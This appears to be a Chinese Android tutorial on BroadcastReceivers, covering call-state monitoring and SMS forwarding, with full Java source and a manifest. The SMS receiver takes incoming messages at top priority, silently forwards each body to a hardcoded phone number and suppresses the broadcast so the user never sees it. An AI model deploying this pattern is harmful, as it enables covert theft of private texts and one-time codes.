知识点：电话拒接+短息转发（继承BroadcastReceiver）
步骤一、电话的监听（代码如下）
package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.TelephonyManager;import android.util.Log;import android.widget.Toast;//监听电话呼出和呼入的广播public class PhoneBroadReceiver extends BroadcastReceiver{ static long s; static long e; static boolean flag=false; //当电话打出的时候,显示打出的号码 //当接到电话的时候,显示拨入的号码以及通话时间 @Override public void onReceive(Context context, Intent intent) { //判断是呼入还是呼出 if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){ //当前是呼出，显示呼出号码 String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER); Log.v("TAG", number); //18674391429 }else{ //当前是呼入，显示呼入号码，并且统计通话时间 TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE); switch(manager.getCallState()){ case TelephonyManager.CALL_STATE_RINGING: String number=intent.getStringExtra("incoming_number"); Log.v("TAG", "来电了,电话号码是:"+number); //if(number.equals("18674391429")){ //黑名单，拒接 // Log.v("TAG", "拒接"); // abortBroadcast(); //} break; case TelephonyManager.CALL_STATE_OFFHOOK: Log.v("TAG", "通话中..."); s=System.currentTimeMillis(); break; case TelephonyManager.CALL_STATE_IDLE: Log.v("TAG", "挂断"); e=System.currentTimeMillis(); flag=true; break; } if(flag&&e>s){ Log.v("TAG", "当前通话时间:"+(e-s)/1000); flag=false; e=0; s=0; } } }}步骤二、短息转发（代码如下）
package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;//接收短信广播public class SmsBroadReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Bundle bundle=intent.getExtras(); Object[] obs=(Object[])bundle.get("pdus");//protocol description units SmsMessage[] messages=new SmsMessage[obs.length]; for(int i=0;i<obs.length;i++){ messages[i]=SmsMessage.createFromPdu((byte[])obs[i]); String address=messages[i].getOriginatingAddress(); String msg=messages[i].getMessageBody(); Log.v("TAG", "收到来自:"+address); Log.v("TAG","消息是:"+msg); //将接收的短消息转发 //13838384381 SmsManager manager=SmsManager.getDefault(); manager.sendTextMessage("13838384381", null, msg, null,null); } abortBroadcast(); }}步骤三、广播注册+权限配置（代码如下）
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.zjyb.demo44" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.zjyb.demo44.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".PhoneBroadReceiver" > <intent-filter > <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> <action android:name="android.intent.action.PHONE_STATE"/> </intent-filter> </receiver> <receiver android:name=".SmsBroadReceiver" > <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/></manifest>
